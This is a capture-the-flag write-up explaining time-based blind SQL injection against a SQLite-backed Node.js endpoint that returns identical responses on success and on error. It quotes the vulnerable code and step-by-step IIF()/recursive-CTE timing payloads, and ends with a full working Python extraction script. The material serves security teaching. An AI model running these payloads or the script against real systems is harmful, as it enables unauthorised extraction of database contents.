Совсем слепая инъекция (Completely Blind Injection)
Совсем слепая инъекция (Completely Blind Injection)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: binary_search_extraction, recursive_cte_delay, sqlite_iif_conditional, sqlite_injection, time_based_blind_sqli
Summary
Walkthrough of the CUSTOM Web Совсем слепая инъекция (Completely Blind Injection). Task: Node.js API injects user input into SQL WHERE clause, but returns identical response for both success and error — no boolean oracle. Solution: time-based blind SQLi using SQLite IIF() with recur
Description
Флаг находится в первой записи таблицы flag БД. В наличии только уязвимый эндпоинт, который отвечает одним и тем же сообщением на любой запрос.
English summary: The flag is in the first row of the flag table. The only available endpoint responds with the exact same message regardless of the query result — both success and error paths return {"result": "I don't know"}. This eliminates boolean-based and error-based blind SQLi, leaving only timing side-channel as the extraction method.
API endpoint: https://full-blind-injection.t1.bug-makers.ru/check?number=1
Analysis
The provided source code (api-2.js) reveals the vulnerability:
javascript read-only • copy allowedapp.get('/check', (req, res) => { const { number } = req.query; const query = `SELECT count(*) as count FROM flag WHERE ${number}`; db.get(query, (err, row) => { if (err) { return res.json({ result: 'I don\'t know' }); } res.json({ result: 'I don\'t know' }); }); });
Key observations:
- Direct concatenation — the
numberparameter is placed directly into the WHERE clause with zero sanitization. - Identical responses — unlike the boolean-based "Слепая инъекция" variant, both the error callback and the success callback return the exact same JSON:
{"result": "I don't know"}. There is no boolean oracle. - No SLEEP() in SQLite — MySQL has
SLEEP(N)and PostgreSQL haspg_sleep(N), but SQLite has no built-in delay function. A different mechanism is needed. - SQLite IIF() — available since SQLite 3.32 (2020),
IIF(condition, true_val, false_val)provides conditional evaluation that (unlikeCASE WHEN) short-circuits properly.
Delay Mechanism: Recursive CTE
The key insight is using a recursive Common Table Expression to generate CPU-bound delay:
sql read-only • copy allowedWITH RECURSIVE cnt(x) AS ( VALUES(1) UNION ALL SELECT x+1 FROM cnt WHERE x < 2000000 ) SELECT COUNT(*) FROM cnt
This generates 2 million rows recursively, taking approximately 3 seconds of CPU time. Combined with IIF():
sql read-only • copy allowedIIF(condition, (WITH RECURSIVE cnt(x) AS (...) SELECT COUNT(*) FROM cnt) > 0, 0)
- Condition TRUE → recursive CTE executes → ~3 second response
- Condition FALSE → returns 0 immediately → ~0.5 second response
- Threshold: 1.5 seconds separates TRUE from FALSE
Failed Approaches
hex(randomblob(N))— attempted using large random blob generation as delay. Timing was inconsistent because the server killed requests with very large blobs (memory limits), and smaller blobs were too fast.CASE WHEN ... THEN heavy ELSE fast END— SQLite evaluates both branches of CASE expressions regardless of the condition, so both TRUE and FALSE conditions were equally slow.IIF()was the solution because it short-circuits.- Error vs success timing — no measurable difference between the two code paths (both are trivial JSON responses).
Solution
Step 1: Calibrate timing oracle
Verify the delay mechanism works:
?number=1=1 → ~0.5s (baseline)
?number=IIF(1=1,<heavy_cte>,0) → ~3.0s (TRUE = slow)
?number=IIF(1=0,<heavy_cte>,0) → ~0.5s (FALSE = fast)
Step 2: Discover column name
Test common column names by checking if a subquery succeeds (non-error = column exists → IIF evaluates heavy branch):
?number=IIF((SELECT flag FROM flag LIMIT 1) IS NOT NULL,<heavy_cte>,0) → ~3s ✓
?number=IIF((SELECT value FROM flag LIMIT 1) IS NOT NULL,<heavy_cte>,0) → error → ~0.5s ✗
Column name: flag.
Step 3: Extract flag length via binary search
?number=IIF(length((SELECT flag FROM flag LIMIT 1))>13,<heavy_cte>,0) → slow (TRUE)
?number=IIF(length((SELECT flag FROM flag LIMIT 1))>27,<heavy_cte>,0) → fast (FALSE)
?number=IIF(length((SELECT flag FROM flag LIMIT 1))>26,<heavy_cte>,0) → fast (FALSE)
...converges to 27
Flag length: 27 characters.
Step 4: Extract flag character by character
For each position pos (1 to 27), binary search over ASCII range [32, 126]:
?number=IIF(unicode(substr((SELECT flag FROM flag LIMIT 1),{pos},1))>{mid},<heavy_cte>,0)
Each character requires ~7 requests (log₂(94) ≈ 6.6). Total: ~200 requests, ~7 minutes.
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ Time-based blind SQLi for SQLite. Query: SELECT count(*) as count FROM flag WHERE ${number} Both error and success return {"result":"I don't know"} Uses IIF() with recursive CTE for reliable timing oracle. """ import requests import time import sys BASE_URL = "https://full-blind-injection.t1.bug-makers.ru/check" CTE_LIMIT = 2000000 # ~3s delay THRESHOLD = 1.5 # seconds - above this = TRUE session = requests.Session() def measure(payload): """Measure response time for a payload (single request).""" start = time.time() try: r = session.get(BASE_URL, params={"number": payload}, timeout=20) except: return 20.0 return time.time() - start def heavy_expr(): """Return a heavy SQL expression using recursive CTE.""" return ( f"(WITH RECURSIVE cnt(x) AS (VALUES(1) UNION ALL " f"SELECT x+1 FROM cnt WHERE x<{CTE_LIMIT}) " f"SELECT COUNT(*) FROM cnt)>0" ) def test_condition(condition): """Test if a SQL condition is true using time-based oracle. TRUE condition -> IIF evaluates heavy branch -> slow (~3s) FALSE condition -> IIF returns 0 -> fast (~0.5s) """ payload = f"IIF({condition},{heavy_expr()},0)" t = measure(payload) result = t > THRESHOLD print(f" [{condition[:60]:60s}] {t:.2f}s -> {'TRUE' if result else 'FALSE'}", flush=True) return result def find_column_name(): """Try common column names.""" candidates = ['flag', 'value', 'data', 'content', 'text', 'name', 'id', 'secret', 'key', 'f', 'fl'] for col in candidates: condition = f"(SELECT {col} FROM flag LIMIT 1) IS NOT NULL" print(f"Testing column: {col}", flush=True) if test_condition(condition): print(f" -> Column '{col}' EXISTS!", flush=True) return col return None def find_length(column, max_len=100): """Binary search for string length.""" low, high = 1, max_len while low < high: mid = (low + high) // 2 condition = f"length((SELECT {column} FROM flag LIMIT 1))>{mid}" if test_condition(condition): low = mid + 1 else: high = mid print(f" -> Length = {low}", flush=True) return low def extract_char(column, pos): """Binary search for character at position pos (1-indexed).""" low, high = 32, 126 while low < high: mid = (low + high) // 2 condition = ( f"unicode(substr((SELECT {column} FROM flag LIMIT 1)," f"{pos},1))>{mid}" ) if test_condition(condition): low = mid + 1 else: high = mid return chr(low) def extract_flag(column, length): """Extract the flag character by character.""" flag = "" for pos in range(1, length + 1): ch = extract_char(column, pos) flag += ch print(f" Position {pos}: '{ch}' -> Flag so far: {flag}", flush=True) return flag if __name__ == "__main__": print("=== SQLite Time-Based Blind SQL Injection ===", flush=True) print(f"Using CTE limit: {CTE_LIMIT}, threshold: {THRESHOLD}s", flush=True) print() # Step 0: Calibrate print("[*] Calibrating...", flush=True) t_fast = measure("1=1") t_slow = measure(f"IIF(1=1,{heavy_expr()},0)") print(f" Baseline: {t_fast:.2f}s, Heavy: {t_slow:.2f}s", flush=True) if t_slow < THRESHOLD: print(f"[!] Heavy query too fast ({t_slow:.2f}s). Increasing CTE limit...") CTE_LIMIT = 5000000 t_slow = measure(f"IIF(1=1,{heavy_expr()},0)") print(f" New heavy: {t_slow:.2f}s", flush=True) print() # Step 1: Find column name print("[*] Step 1: Finding column name...", flush=True) column = find_column_name() if not column: print("[!] Could not determine column name, trying 'flag'") column = 'flag' print() # Step 2: Find length print(f"[*] Step 2: Finding length of column '{column}'...", flush=True) length = find_length(column) print() # Step 3: Extract flag print(f"[*] Step 3: Extracting {length} characters...", flush=True) flag = extract_flag(column, length) print() print(f"[+] FLAG: {flag}", flush=True)
Extraction Statistics
| Metric | Value |
|---|---|
| Flag length | 27 characters |
| Requests per character | ~7 (binary search) |
| Total requests | ~200 |
| Total extraction time | ~7 minutes |
| TRUE response time | ~3 seconds |
| FALSE response time | ~0.5 seconds |
| Threshold | 1.5 seconds |
| |
Key Takeaways / Lessons
- Mastering binary_search_extraction, recursive_cte_delay, sqlite_iif_conditional, sqlite_injection, time_based_blind_sqli was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-25 • CUSTOM • Совсем слепая инъекция (Completely Blind Injection) • Difficulty: Medium